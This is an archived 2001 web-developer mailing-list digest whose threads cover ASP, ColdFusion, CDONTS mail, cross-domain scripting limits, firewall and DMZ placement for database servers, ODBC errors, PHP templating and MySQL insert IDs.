In-Reply-To: <003b01c14147$3cc1ecb0$6401a8c0@mylittledomain.internal>
Message-ID: <BNEHJPJGINFFDIDGAICIOEFIDJAA.pf@cfdev.com>

I'd have to agree with Ray here (Server Side), This isn't a complex
computation for the server to perform, so I don't think your saving much
server load.  Even the slowest processors these days can execute millions of
instructions per second.  Sending lots of unnecessary data to the client is
potential much more slower, as far as total response time on the client.

If I had more time I'd run a test, but I think you would find the server
side would win the battle.


_____________________________________________
Pete Freitag (pfreitag at cfdev.com)
CFDEV.COM
ColdFusion Developer Resources
http://www.cfdev.com/


-----Original Message-----
From: thelist-admin at lists.evolt.org
[mailto:thelist-admin at lists.evolt.org]On Behalf Of Raymond Camden
Sent: Wednesday, September 19, 2001 4:11 PM
To: thelist at lists.evolt.org
Subject: RE: [thelist] Javascript or ASP?



Even if it was an external JS file, it would have to be accessed and
downloaded, correct?

Of course, if it _is_ on an intranet, it's not that big of a deal...
however, even locally, large files tend to make the browser a bit
sluggish, even on my nice system (p4, lots of ram, etc.)

Just my 4c.

> This might be a candidate for an external js file, perhaps.
> I believe it was said this was for an intranet (she said "in
> my office") so d/l time should be negligible and then even
> it's cached.  Shouldn't be a big deal.
>
> Just my 2c.
>
> -joshua



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From alfa at chromatophore.com  Wed Sep 19 19:30:30 2001
From: alfa at chromatophore.com (am)
Date: Wed Sep 19 19:30:30 2001
Subject: [thelist] need site test (reports of netscape 473 layer bugs)
Message-ID: <B7CE8650.89BA%alfa@chromatophore.com>

hey all
Im looking at finishing up a client site

http://www.dgcbc.com

but issues with win 98/95 netscape navigator 4.73
which they still want to support
are causing me much grief.
Although, I am testing for redraw issues and bugs
that the client claims are affecting some images on the sites navigation
menu 
I cannot find a way to reproduce these errors from my local machine
running the same browser
if anyone can give me any insight into coding areas that can be improved
it would be much appreciated
thanks

--am





From jay.blanchard at thermon.com  Thu Sep 20 09:42:08 2001
From: jay.blanchard at thermon.com (J. Blanchard)
Date: Thu Sep 20 09:42:08 2001
Subject: [thelist] Firewalls vs. Web Databases
Message-ID: <3BA81437000105C8@iso2.vistocorporation.com> (added by administrator@vistocorporation.com)

Good morning!

Yesterday I was approached by our network admin concerning our firewall and what would happen in the event it went down. We do not have a "high-availability" firewall (budgeted for much later this year), our web server sits "behind" the firewall, and if the FW goes down no one would be able to access the web site(s). Can we move the web server "outside" the firewall he asks? Yes I say, but the database server will still be behind the firewall, if the firewall goes down the data that drives the site will be unavailable.

I ran through a number of possible solutions, some of which are very expensive. At the very least we could "move" the web server, assign an IP to the data server (for remote database access), and pray that the firewall holds up. If we are praying for that then why move the web server at all? If the FW goes down the data is not accessible.

We could "move" the web server, install data server software on the web server, replicate things needed for the site to the web server and then have a combo box sitting outside of the firewall. Since our site is not the most heavily trafficed this may work for a while, but I can see problems ahead. 

Or third, we could establish a data server outside of the firewall with the web server, replicate needed items from inside the firewall for the database, and create a subnet between the servers.

Has anyone here had this experience? I would appreciate any guidance...

TIA

Jay Blanchard
Web Development Manager
Thermon Manufacturing Company
1.800.820.HEAT x327

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From nopun at bellsouth.net  Thu Sep 20 09:42:19 2001
From: nopun at bellsouth.net (Tyme)
Date: Thu Sep 20 09:42:19 2001
Subject: [thelist] HTML optimization advice, please
References: <3BA8FCC4.8CFC713A@lightbulbpress.com> <007301c1414e$0e231800$2860398a@newcos.com>
Message-ID: <000701c141d0$8aaa3ca0$7399fea9@tyme>

Am about to start "optimizing" a large (400+) static site.  Can't decide
what approach to use.  Your suggestions on the below appreciated.

SITE STRUCTURE:
~40 "groups" (county depts.)
~10 web pages per group
Each page has 2 sections the same, but unique to the group:
    "Header": <head>...</head> with uniqueness in the group's meta keywords
and <title>.
    "Footer": Each group has a submenu*.

Example page from 1 of the groups:
http://www.co.brunswick.nc.us/sample_admin1.htm

* Submenu links from all groups are combined on an Index page.  see
http://www.co.brunswick.nc.us/az-index.htm

TASK:
Optimize (for maintenance) the "Header" and "Footer" sections, through SSI
or other.

APPROACH #1:
Use SSI_header and SSI_footer for each group.
Advantage: Current filename extension of .htm will not have to change
(server config. for parse of .htm);
Advantage: Site can easily migrate to a non-Windows server in the future, if
desired.
Disadvantage: Will result in 80 additional files.

APPROACH #2:
Put the unique information (keywords; submenu links) into a database and
dynamically write it to the web page using ASP/SQL.
Advantage: Will require no additional files.
Advantage: Will allow dynamic creation/update of the Index page. (This is a
key navigation page for users with Javascript turned off or for older
browsers.)
Advantage: Can replace some existing Javascript (e.g., page update date)
with server side scripting.
Advantage: Can add more dynamic stuff.
Disadvantage: Will require changing the existing .htm extensions to .asp,
perhaps interferring with outside links to the site.
Disadvantage: Will make moving the site to a non-Windows server in the
future, _if_ desired, more work.

Note: With Approach #2, I thought that I could create a 404 page that
instructed users to try the same page filename but with .asp extension.
Unless server can be configured to interpret *.htm as *.asp -- that would be
awesome.

Thank you!
Tyme







From joshua at alphashop.net  Thu Sep 20 09:42:32 2001
From: joshua at alphashop.net (Joshua Olson)
Date: Thu Sep 20 09:42:32 2001
Subject: [thelist] Javascript or ASP?  AND Tip: CF Boolean Evaluation
References: <BNEHJPJGINFFDIDGAICIOEFIDJAA.pf@cfdev.com>
Message-ID: <003301c141dc$8909dca0$a600a8c0@mrtnz1.ga.home.com>

----- Original Message -----
From: "Pete Freitag" <pf at cfdev.com>
Subject: RE: [thelist] Javascript or ASP?


: I'd have to agree with Ray here (Server Side), This isn't a complex
: computation for the server to perform, so I don't think your saving much
: server load.  Even the slowest processors these days can execute millions
of
: instructions per second.  Sending lots of unnecessary data to the client
is
: potential much more slower, as far as total response time on the client.
:
: If I had more time I'd run a test, but I think you would find the server
: side would win the battle.

My own personal approach would be to run server side as well, to which I'd
add a way to have clients submit new items for inspection by me and later
addition to the list.  Yummy.

Janet, the server side approach has a few variants to consider.
1) use a database accessible by the server to drive the quote
2) compile all the quotes into a static array within the ASP page and select
one at random
3) compile the quotes into a text file (one per line), and read the file
into a server variable (array) and select one at random from that variable

Each method has its own benefits.  1 is the most difficult to setup
depending on your fluency with the database, corporate red-tape, and server
capabilities.  The benefits of using a db to drive it would ultimately
win-out as far as the range of features you could eventually work into it.

2 is the easiest to implement and for you to maintain the quotes.  However,
is you be nearly impossible to hand off the task of maintaining the list of
quotes to a non-computer savvy individual.

3 is middle ground.  It is fairly straightforward to implement and it is a
very simple matter to make a shortcut to the text file for someone else in
the company to update the list of quotes--one per line.  You could even
automate the process of the updating the server variable by checking the
timestamp on the file... if it's newer than the one recorded last time you
read the file, re-read the file.

If you stick to JS, your best approach would be to create the quotes in a JS
array, offload the code into an include file, and link it into the page.
The function you call would select an index in the array and
document.write() the quote to the page.  The downside is very similar to #2
above... easy for you to maintain, tough to delegate.

As far as the speed issues that have been posted, they really should be
negligible once you consider page caching in the browser and the size of the
included file.  If you have 50 quotes at 512 bytes a piece, then the total
is only 25k.  At 100mbps intranet speed... very fast.

HTH,

-joshua

<tip type="ColdFusion">
More of a "did you know this?" than anything else.

If you set

<cfset test = "yes"> or <cfset text = "true">

Then

<cfif test IS "1"> evaluates to true.

and if you set

<cfset test = "no"> or <cfset text = "false">

Then

<cfif test IS "0"> evaluates to true.

But the other way doesn't work.  eg, if you set

<cfset test = "1">

Then

<cfif test IS "no"> and <cfif test IS "false"> evaluate to false;

</tip>





From sgd at ti3.com  Thu Sep 20 10:31:05 2001
From: sgd at ti3.com (Scott Dexter)
Date: Thu Sep 20 10:31:05 2001
Subject: [thelist] Firewalls vs. Web Databases
Message-ID: <AE9BEBC586A48B4BA47843C4148B82511CFC10@apollo.ti3.com>

> 
> Or third, we could establish a data server outside of the 
> firewall with the web server, replicate needed items from 
> inside the firewall for the database, and create a subnet 
> between the servers.
> 

This is the most robust solution, and what we've done here (at Ti3).

=)

sgd




From IanOrnstein at NC.SLR.com  Thu Sep 20 10:31:15 2001
From: IanOrnstein at NC.SLR.com (Ornstein, Ian)
Date: Thu Sep 20 10:31:15 2001
Subject: [thelist] CDONTS again - can't send mail from a subdirectory?
Message-ID: <313308805876D511BB8B00D0B7B961F53CC231@EXCNC4>

I've got a working application using CDONTS .
The key to getting it to play nice is the set up of the
SMTP service on the IIS computer.
Right click on the SMTP service and go through the tabs.
The Delivery tab is the one that gave me problems.

HTH
- IanO -

Ian Ornstein - Programmer and Web Developer
IBM Global Services, Global AMS Delivery
(704) 509-8022 


-----Original Message-----
From: Jon Hall [mailto:jonhall at ozline.net]
Sent: Wednesday, September 19, 2001 4:47 PM
To: thelist at lists.evolt.org
Subject: Re: [thelist] CDONTS again - can't send mail from a
subdirectory?


Probably permissions problem. Try giving Everyone write permissions on the
spool folder, or at least the user that cdonts runs as (i dont know which).
I played with cdonts a while back, and I remember something really insecure
like this and I chose not to use it. Frontpage needs permissions set like
this too. I guess once you have one MS security hole, MS figures they might
as well add a few more.

jon
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From: "spinhead" <evolt at spinhead.com>
To: "evolt" <thelist at lists.evolt.org>
Sent: Wednesday, September 19, 2001 3:20 PM
Subject: Fw: [thelist] CDONTS again - can't send mail from a subdirectory?


> Trying one more time before I give Microsoft more money for tech support .
 .
>  .
>
> spinhead
>
> ----- Original Message -----
> From: "spinhead" <evolt at spinhead.com>
> To: "evolt" <thelist at lists.evolt.org>
> Sent: Friday, September 14, 2001 3:08 PM
> Subject: [thelist] CDONTS again - can't send mail from a subdirectory?
>
>
> > CDONTS on Win2K - have a 3rd party app that's basically ASP pages
> accessing
> > a database. I've added a bit of code to send an e-mail every time a
> certain
> > page is hit (to be modified eventually to include the info just posted
by
> > the user.)
> >
> > Except the mail dumps into the badmail folder with this error:
> > =====================================
> > Unable to deliver this message because the follow error was encountered:
> > "Error is processing file in pickup directory.".
> >
> > The specific error code was 0xC00402CE.
> > =====================================
> > I've even copied my testmail.asp page (which works right now in the root
> of
> > the web) to the subfolder, and it won't send.
> >
> > Any ideas?
> >
> > spinhead
> >
> >
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From mark at eurogamer.net  Thu Sep 20 11:12:50 2001
From: mark at eurogamer.net (Mark Kennedy)
Date: Thu Sep 20 11:12:50 2001
Subject: [thelist] Cross-site scripting
Message-ID: <Pine.BSF.4.21.0109201608040.5051-100000@slip.csosl.co.uk>

Hi all,

How can I cross-site/domain script?  Is there away to tell the browser that one
pages 'trusts' another and will allow DOM access to it?  For those interested,
I'm having the following issues:

Am in the final (desperate) phases of completing a large project for a client.  
Part's of the site use a small, lightweight IFRAME to display user information
which is updated on a 30 second basis.  The isn't use a META refresh, but a
javascript timeout (there's a good reason for this) executed in the parent
document.  Everything works fine here.  Bear with me :)

However, a few of the pages for the site are farmed out of the clients existing
content management system (rather stubbornly, since we could provide our own),
and this runs on a different domain.  The IFRAME mentioned above is also used,
and the document within comes off of the same server as before.  Hence the
parent document is on a DIFFERENT domain to the one in the IFRAME.  Hence the
scripting used to communicate between the two docuents (for the refresh and for
other data exchange) isn't allowed by the web browser for security reasons.

Many thanks in advance for any help,

Mark

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From gassinaumasis at hotmail.com  Thu Sep 20 11:35:41 2001
From: gassinaumasis at hotmail.com (Peter-Paul Koch)
Date: Thu Sep 20 11:35:41 2001
Subject: [thelist] Cross-site scripting
Message-ID: <LAW2-F30xHIEMzrJTPo000023b9@hotmail.com>

>How can I cross-site/domain script?  Is there away to tell the browser that 
>one
>pages 'trusts' another and will allow DOM access to it?  For those 
>interested,
>I'm having the following issues:

You can't, except for the following situation:

If both domains are sub-domains of the same domain (for instance, 
server1.mybusiness.com and server2.mybusiness.com) you can add

document.domain = 'mybusiness.com';

to all pages, after which cross-domain scripting is allowed on these pages. 
If the domains do not share a common higher level domain, it's impossible.

ppk



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From dave at members.evolt.org  Thu Sep 20 11:35:46 2001
From: dave at members.evolt.org (Dave McLean)
Date: Thu Sep 20 11:35:46 2001
Subject: [thelist] JS Help: window.close inside an event
Message-ID: <B7CF7456.601A%dave@members.evolt.org>

Hello all,

I'm working on a site that has a quiz built by a third-party piece of
software. The s/w created a Javascript frameset where all the action
happens. I've got it working to my desire except for one thing.

Once the user finishes the quiz the page sends the results (anonymously) to
formmail without telling the user. The third-party software has set it up so
a pop-up window opens... which is frustrating because it will more than
likely confuse the audience (Kindergarten to Grade 3 teachers).   I've tried
to take the pop-up out of the code, but I'm no javascript wizard by any
means. 

Is there any way in the script to have it process in the parent window and
not spawn a child window? I've done a little dissecting, but so far
nothing's worked.

The page is now located at:
http://www.fwj.com/workshop/abmilk5/trg/newposttest/index.htm

If you're interested in actually taking the quiz, the answers are:
<warning type="spoiler">B,D,C,C,B,D,B,B,B,B</warning>

The function for opening the new window is here:

function SendResults(Score){
var today = new Date;
    var NewName = '' + today.getTime();
      var NewWin = window.open('', NewName,
'toolbar=yes,location=yes,directories=no,status=yes,menubar=yes,scrollbars=y
es,resizable=yes,,width=400,height=300');

    NewWin.document.clear();
    NewWin.document.open();
    NewWin.document.write(ResultForm);
    NewWin.document.close();
    NewWin.document.Results.Score.value = Score + '%';
    NewWin.document.Results.realname.value = UserName;
    NewWin.document.Results.End_Time.value = (new Date()).toLocaleString();
    NewWin.document.Results.Start_Time.value = StartTime;
    NewWin.document.Results.submit();

}


Could I simply add this line at the end of the function?

NewWin.document.self.close();

Any help y'all can offer is mighty appreciated.

Thanks,
Dave

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From Rory.Plaire at wahchang.com  Thu Sep 20 11:56:53 2001
From: Rory.Plaire at wahchang.com (Rory.Plaire at wahchang.com)
Date: Thu Sep 20 11:56:53 2001
Subject: [thelist] Cross-site scripting
Message-ID: <41C0B6AB2A57D3119ED800A0C9EA3920034AD18A@arnold.bedrock.com>

| If the domains do not share a common higher level domain, 
| it's impossible.
| 
| ppk

Peter-Paul,

What about signing scripts? Can you certify them somehow?

I'm really in some dark hallway on this one.

At least, I think it is a hallway.

<rory disposition="curious" alt="8)"/>




From djc at starkmedia.com  Thu Sep 20 11:56:57 2001
From: djc at starkmedia.com (Daniel J. Cody)
Date: Thu Sep 20 11:56:57 2001
Subject: [thelist] Firewalls vs. Web Databases
References: <3BA81437000105C8@iso2.vistocorporation.com> (added by administrator@vistocorporation.com)
Message-ID: <3BAA1C1F.7080201@starkmedia.com>

A variation of this is something I tend to do..

Config your webserver so that it will work inside or outside the 
firewall and install an additional network card in it.

Configure that second NIC to be on a private network(10.10.10.0 for 
example), then configure your database to sit on that private network as 
well. Plug the second NIC on your webserver and your DB into a 
hub/switch, and configure them to talk to eachother over that *private* 
link.(further security could be added by only allowing the DB to talk to 
the IP address of the second NIC on the webserver)

With this method, the DB doesn't care whether or not its in front of or 
behind a firewall, and since the webserver and the DB talk over a 
private link, the webserver doesn't care either. The DB can always be 
reached on that private network whether or not there's a firewall in 
front of the public IP address of the webserver and the webserver more 
or less acts as a firewall between the DB and the internet.

You'll also see an improvment in speed between the DB and the webserver 
since they're on a dedicated link with eachother. :)

Again, just my preference.. If anything is unclear or you have 
questions, feel free to shout :)

.djc.


J. Blanchard wrote:


> Or third, we could establish a data server outside of the firewall with the web server, replicate needed items from inside the firewall for the database, and create a subnet between the servers.






From r937 at interlog.com  Thu Sep 20 12:43:31 2001
From: r937 at interlog.com (rudy)
Date: Thu Sep 20 12:43:31 2001
Subject: [thelist] sql/server connectivity question
Message-ID: <01c141fa$a642a720$904a149a@rudy>

hoping one of you sql/server gurus can answer this
off the top of your head...

what would you look for to solve this error --

  Microsoft OLE DB Provider for ODBC Drivers error '80004005'
  [Microsoft][ODBC Driver Manager] Data source name not found and no
default driver specified
  /QuoteResults2.asp, line 255

the line that's causing the problem is

   cn.Open("MM_advancewarranty_STRING")

the value of this variable is

  "dsn=accs; database=BUYERS_CHOICE; uid=IUSR_ATLAS;"

just before this there is the command

  set cn = server.CreateObject("ADODB.Connection")


i know practically nothing about ASP

any ideas?

take the quotes out of the cn.Open command?

maybe some setting in the sql/server configuration is wrong?


rudy








From Tab.Alleman at RealMetros.com  Thu Sep 20 13:18:06 2001
From: Tab.Alleman at RealMetros.com (Tab Alleman)
Date: Thu Sep 20 13:18:06 2001
Subject: [thelist] sql/server connectivity question
Message-ID: <3A47CE0763EBB34782D630AC3A52FF37044EED@typhoon.RealMetros.RealMetros.com>

Yes you definitely don't want the quotes in there.

-----Original Message-----
the line that's causing the problem is

   cn.Open("MM_advancewarranty_STRING")


take the quotes out of the cn.Open command?






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From David at softv.net  Thu Sep 20 13:18:20 2001
From: David at softv.net (David at softv.net)
Date: Thu Sep 20 13:18:20 2001
Subject: [thelist] sql/server connectivity question
Message-ID: <439FDCB7FFC8D311AE5E006008909CBB7C7392@IMAIL>

If MM_advancewarranty_STRING is a variable name, it shouldn't be
enclosed in quotes

<%
David Mitchell
Web Developer
david at sofTV.net
sofTV.net
www.sofTV.net
613.729.6400 x268
%>
www.IceRadio.ca
"Canada's Best Music on the Web"


-----Original Message-----
From: rudy [mailto:r937 at interlog.com]
Sent: Thursday, September 20, 2001 1:36 PM
To: thelist at lists.evolt.org
Subject: [thelist] sql/server connectivity question


hoping one of you sql/server gurus can answer this
off the top of your head...

what would you look for to solve this error --

  Microsoft OLE DB Provider for ODBC Drivers error '80004005'
  [Microsoft][ODBC Driver Manager] Data source name not found and no
default driver specified
  /QuoteResults2.asp, line 255

the line that's causing the problem is

   cn.Open("MM_advancewarranty_STRING")

the value of this variable is

  "dsn=accs; database=BUYERS_CHOICE; uid=IUSR_ATLAS;"

just before this there is the command

  set cn = server.CreateObject("ADODB.Connection")


i know practically nothing about ASP

any ideas?

take the quotes out of the cn.Open command?

maybe some setting in the sql/server configuration is wrong?


rudy






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From eric at geonetric.com  Thu Sep 20 13:18:33 2001
From: eric at geonetric.com (Eric Engelmann)
Date: Thu Sep 20 13:18:33 2001
Subject: [thelist] sql/server connectivity question
In-Reply-To: <01c141fa$a642a720$904a149a@rudy>
Message-ID: <BKEMLDOEKDPCPNKCIFKNAENEEDAA.eric@geonetric.com>

Looks like you've got it in quotes, so its taking it literally, instead of
as a variable?

   cn.Open("MM_advancewarranty_STRING")






From jay.blanchard at thermon.com  Thu Sep 20 13:19:25 2001
From: jay.blanchard at thermon.com (J. Blanchard)
Date: Thu Sep 20 13:19:25 2001
Subject: [thelist] sql/server connectivity question ALSO...
Message-ID: <3B82ACFE001023D7@smtparch.vistocorporation.com> (added by administrator@vistocorporation.com)

Did you check to make sure that the DSN is set up on the web server? In the Control Panel there is dialog for setting up an ODBC data source

1. Start; Settings; Control Panel; Data Sources (if W2K in Administrative Tools
2.Click System DSN Tag then Add
3.Pick your driver then Next Finish
4. The wizard will walk you through from there (or you can write me directly and I will help).

ALSO, does anyone know of a function or feature where a Search & Replace type operation could be done within SQL Server cells? For instance, I need to add the little registered trademark doohickey to every occurence of a word within the DB, i.e. search for FOO and change to FOO?.

THanks!

Jay Blanchard
Web Development Manager
Thermon Manufacturing Company
1.800.820.HEAT x327

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From ghunt at hds.ca  Thu Sep 20 13:19:44 2001
From: ghunt at hds.ca (Glenn Hunt)
Date: Thu Sep 20 13:19:44 2001
Subject: [thelist] Firewalls vs. Web Databases
In-Reply-To: <3BAA1C1F.7080201@starkmedia.com>
Message-ID: <004701c141fe$00861390$0300a8c0@glenn>

An interesting solution, but there are dangers in this setup. Assuming
that the DB is normally behind the firewall, you have just completely
bypassed your firewall. You leave a hole open. You would be better to
have everything firewalled. That way you only open the incoming ports
necessary (usually just 80, possible 443), and everything else is
blocked. It means that a hacker has to compromise two machines to get
anywhere - first the firewall, and then an inside machine.

Having two database machines (one inside and one outside the firewall)
seems needlessly complex. If you are worried about web access
disappearing because the firewall goes down, then the logical thing is
to minimize the chance of the firewall "going down". There are three
options, probably in order of preference:

1. Load balancing hardware - Certainly the best solution, but also the
most expensive. Would be used to divide traffic between two firewalls.

2. Use a hardware-based firewall. By not using a traditional "OS-based"
firewall, the chances of failure are greatly reduced.

3. Use two firewalls and round-robin DNS. The biggest issue with this
that the DNS would have to be updated if a firewall went down.

If none of the above are possibilities, then at least use a *NIX-based
firewall (personally I use FreeBSD) - they are very stable and virtually
hack-proof.

The best for security is definitely everything behind the firewall, or
at least the firewall being the only connection between the 'net and
your private network.

Glenn Hunt
ghunt at hds.ca

-----Original Message-----
From: thelist-admin at lists.evolt.org
[mailto:thelist-admin at lists.evolt.org] On Behalf Of Daniel J. Cody
Sent: Thursday, September 20, 2001 12:41 PM
To: thelist at lists.evolt.org
Subject: Re: [thelist] Firewalls vs. Web Databases


A variation of this is something I tend to do..

Config your webserver so that it will work inside or outside the 
firewall and install an additional network card in it.

Configure that second NIC to be on a private network(10.10.10.0 for 
example), then configure your database to sit on that private network as

well. Plug the second NIC on your webserver and your DB into a 
hub/switch, and configure them to talk to eachother over that *private* 
link.(further security could be added by only allowing the DB to talk to

the IP address of the second NIC on the webserver)

With this method, the DB doesn't care whether or not its in front of or 
behind a firewall, and since the webserver and the DB talk over a 
private link, the webserver doesn't care either. The DB can always be 
reached on that private network whether or not there's a firewall in 
front of the public IP address of the webserver and the webserver more 
or less acts as a firewall between the DB and the internet.

You'll also see an improvment in speed between the DB and the webserver 
since they're on a dedicated link with eachother. :)

Again, just my preference.. If anything is unclear or you have 
questions, feel free to shout :)

.djc.


J. Blanchard wrote:


> Or third, we could establish a data server outside of the firewall 
> with the web server, replicate needed items from inside the firewall 
> for the database, and create a subnet between the servers.




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From matthewmozer at hotmail.com  Thu Sep 20 13:20:01 2001
From: matthewmozer at hotmail.com (Matt Mozer)
Date: Thu Sep 20 13:20:01 2001
Subject: [thelist] Cold Fusion Clustering in a distributed Configuration
Message-ID: <F43ZUr3CrJRxKZMqA4d0000122a@hotmail.com>

I have a few questions if anyone can answer them:

1.) We have a server with a 700 mhz processor and 256 mg or RAM. I am 
wondering how many sessions this server can handle before crashing?
2.) Does anyone know what port CF uses?
3.) How many pages per second can CF generate? (relative to the server 
mentioned in question 1)
4.) How can I manage sessions across systems in a clustered environment? I 
understand that using client variables is more condusive to a cluster based 
environment because sessions must be maintained on a particular box whether 
or not load balancing is in place.

Any thoughts or comments would be more than appreciated. And if I am not 
being clear enough please let me know.

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From Anthony at Baratta.com  Thu Sep 20 13:20:27 2001
From: Anthony at Baratta.com (Anthony Baratta)
Date: Thu Sep 20 13:20:27 2001
Subject: [thelist] sql/server connectivity question
In-Reply-To: <01c141fa$a642a720$904a149a@rudy>
Message-ID: <5.1.0.14.2.20010920111525.01bca6d8@baratta.com>

Do you have an ODBC Connectoid setup called "accs"??
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President
Keyboard Jockeys

"Conformity is the refuge of the unimaginative."





From Rory.Plaire at wahchang.com  Thu Sep 20 13:26:10 2001
From: Rory.Plaire at wahchang.com (Rory.Plaire at wahchang.com)
Date: Thu Sep 20 13:26:10 2001
Subject: [thelist] sql/server connectivity question
Message-ID: <41C0B6AB2A57D3119ED800A0C9EA3920034AD18B@arnold.bedrock.com>

|   Microsoft OLE DB Provider for ODBC Drivers error '80004005'
|   [Microsoft][ODBC Driver Manager] Data source name not found and no
| default driver specified
|   /QuoteResults2.asp, line 255

This appears to be an ODBC issue. Perhaps you need to recreate the
connection in the ODBC control panel? Even testing it with the "Test
Connection" button on the driver configuration applet may reveal some
information.

Of course, if that works, this may be the issue:

http://support.microsoft.com/support/kb/articles/Q238/9/71.ASP

Essentially, permissions.

<rory disposition="RHTH" alt="8)"/>




From David at softv.net  Thu Sep 20 13:26:15 2001
From: David at softv.net (David at softv.net)
Date: Thu Sep 20 13:26:15 2001
Subject: [thelist] sql/server connectivity question
Message-ID: <439FDCB7FFC8D311AE5E006008909CBB7C7393@IMAIL>

Rudy,

I would also suggest using the native OLEDB for SQL Server instead of
ODBC. 
Your connection string would be as follows:
strConnString = "Provider=SQLOLEDB; Data Source=servername;
Database=dbname; UID=username; Pwd=password"
cn.Open(strConnString)

Dave
-----Original Message-----
From: rudy [mailto:r937 at interlog.com]
Sent: Thursday, September 20, 2001 1:36 PM
To: thelist at lists.evolt.org
Subject: [thelist] sql/server connectivity question


hoping one of you sql/server gurus can answer this
off the top of your head...

what would you look for to solve this error --

  Microsoft OLE DB Provider for ODBC Drivers error '80004005'
  [Microsoft][ODBC Driver Manager] Data source name not found and no
default driver specified
  /QuoteResults2.asp, line 255

the line that's causing the problem is

   cn.Open("MM_advancewarranty_STRING")

the value of this variable is

  "dsn=accs; database=BUYERS_CHOICE; uid=IUSR_ATLAS;"

just before this there is the command

  set cn = server.CreateObject("ADODB.Connection")


i know practically nothing about ASP

any ideas?

take the quotes out of the cn.Open command?

maybe some setting in the sql/server configuration is wrong?


rudy






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From noah at tookish.net  Thu Sep 20 13:37:56 2001
From: noah at tookish.net (noah)
Date: Thu Sep 20 13:37:56 2001
Subject: [thelist] MySQL generated id
In-Reply-To: <A33073326362D411B6B900902745F4011FF2AE@BARBELL>
Message-ID: <5.1.0.14.0.20010920141711.00a9e8e0@tookish.net>

Apologies if this is a dumb question . . .

When I insert a new record into a MySQL table (via PHP), I use MySQL's 
auto-increment to create a unique id number for that record. What I'd like 
to do is immediately have access to the id number in PHP. I could use a 
separate select statement, but since I don't know the unique id, I run the 
risk of returning multiple records, rather than just the one I just inserted.

Is there anyway to immediately have access to the id number generated when 
the record is inserted?

Thanks very much,
Noah





From Ron_Senykoff at BEAEROSPACE.COM  Thu Sep 20 13:38:01 2001
From: Ron_Senykoff at BEAEROSPACE.COM (Ron_Senykoff at BEAEROSPACE.COM)
Date: Thu Sep 20 13:38:01 2001
Subject: [thelist] Firewalls vs. Web Databases
Message-ID: <OF27223509.F6F2B7AB-ON85256ACD.0064EE54@beaerospace.com>

<snip>
The best for security is definitely everything behind the firewall
</snip>

I disagree.  It is definitely better... but in this case I would suggest 2
firewalls.  One for the DMZ and one protecting the internal network.  If
everything is behind one firewall, then you have to leave ports open.
Leaving ports open on the firewall leaves ways for an attacker to come in.
We currently run 2 webservers, one inside the firewall and one outside (in
the DMZ).  We have one-way replication set up so that the internal server
pushes changes to external.  Even if an attacker got into the external box
and screwed it up, we still have our data and can rebuild with minimal
effort.
Having a server 'internal' with port 80 open... then a hacker attacks it on
port 80.  The way applications are becoming more and more 'web-enabled' the
more things are left open by port 80.  I've seen many companies that have
an intranet that is accessible from outside -- via port 80.  They think
"because it's behind a firewall its safe," yet they left the door open.  I
was poking around with a few Notes vulnerabilities and found that I was
looking at HR information, internal job postings, help-desk applications...

Ron Senykoff





From ray at opengrid.com  Thu Sep 20 13:49:55 2001
From: ray at opengrid.com (Ray Hill)
Date: Thu Sep 20 13:49:55 2001
Subject: [thelist] HTML optimization advice, please
Message-ID: <897D2906DD5DD411B17500B0D03D9FB2C70021@directmail.opengrid.com>

> TASK:
> Optimize (for maintenance) the "Header" and "Footer" sections,
> through SSI or other.

APPROACH #3:
Use PHP to print the header/footer content.  Since you can make the printing
of said content into a function, it would eliminate the need for 40
different files, and could instead be just a switch statement within the
function that prints different content depending on which sectionid you pass
it.

You can configure your server to parse your existing .html files as PHP, so
you shouldn't have to change your file names.  And since PHP works on both
IIS and Apache, porting it over to a different machine type in the future
would not be a problem (and might actually be a benefit, since PHP runs
faster as an Apache module).

Something like this:


SAMPLE_PAGE.HTML
<?
include "template.php";
template_printHeader("ThisSectionID");
?>

<!-- Content goes here -->

<?
template_printFooter("ThisSectionID");
?>



TEMPLATE.PHP
<?
function template_printHeader($mySectionID) {
  ?>
  <html>
  <head>
    <?
    switch ($mySectionID) {
      case "SectionOne":
        // Print content for this section here.
        break;
      case "SectionTwo":
        // Print content for this section here.
        break;
      default:
        // Print default section content here.
        break;
    }
    ?>
  </head>
  
  <body bgcolor="#FFFFFF">
  
  <!-- Formatting/navigation table goes here -->
  <table border="" cellpadding="" cellspacing="">
    <tr>
      <td>
  <?
}

function template_printFooter($mySectionID) {
  ?>
      </td>
    </tr>
  </table>
  
  </body>
  </html>
  <?
}
?>



This also allows you to set other variables in the switch statement that can
be referred to further down in the individual documents' content.  And, of
course, you can distill the navigation dropdowns into their own file and/or
function  and include them into the template file, to make it easier to
manage.


--ray




From Anthony at Baratta.com  Thu Sep 20 13:50:05 2001
From: Anthony at Baratta.com (Anthony Baratta)
Date: Thu Sep 20 13:50:05 2001
Subject: [thelist] MySQL generated id
In-Reply-To: <5.1.0.14.0.20010920141711.00a9e8e0@tookish.net>
References: <A33073326362D411B6B900902745F4011FF2AE@BARBELL>
Message-ID: <5.1.0.14.2.20010920114126.01bcbeb8@baratta.com>

At 11:28 AM 9/20/2001, you wrote:

>Is there anyway to immediately have access to the id number generated when 
>the record is inserted?

SELECT LAST_INSERT_ID();

http://www.mysql.com/doc/G/e/Getting_unique_ID.html
----
Anthony Baratta
President
Keyboard Jockeys

"Conformity is the refuge of the unimaginative."





From jcrawford at avencom.com  Thu Sep 20 13:50:39 2001
From: jcrawford at avencom.com (Joe Crawford)
Date: Thu Sep 20 13:50:39 2001
Subject: [thelist] MySQL generated id
References: <5.1.0.14.0.20010920141711.00a9e8e0@tookish.net>
Message-ID: <3BAA39A9.B95E105A@avencom.com>

noah wrote:
> Apologies if this is a dumb question . . .
> 
> When I insert a new record into a MySQL table (via PHP), I use MySQL's
> auto-increment to create a unique id number for that record. What I'd like
> to do is immediately have access to the id number in PHP. I could use a
> separate select statement, but since I don't know the unique id, I run the
> risk of returning multiple records, rather than just the one I just inserted.
> 
> Is there anyway to immediately have access to the id number generated when
> the record is inserted?

I believe mysql_insert_id() is a php function to do what you want --
documentation here:
http://www.php.net/manual/en/function.mysql-insert-id.php

I'm not sure if there's a native mysql way to do what you want though.
:-\

	- Joe <http://artlung.com/>
-- 
...................  Joe Crawford \\ Web Design & Development
.....  mailto:jcrawford at avencom.com \\ http://www.avencom.com
.... San Diego \\ CA \\ USA \\ AVENCOM: Set Your Sites Higher




From sgd at ti3.com  Thu Sep 20 13:53:38 2001
From: sgd at ti3.com (Scott Dexter)
Date: Thu Sep 20 13:53:38 2001
Subject: [thelist] sql/server connectivity question
Message-ID: <AE9BEBC586A48B4BA47843C4148B82511CFC1E@apollo.ti3.com>

> 
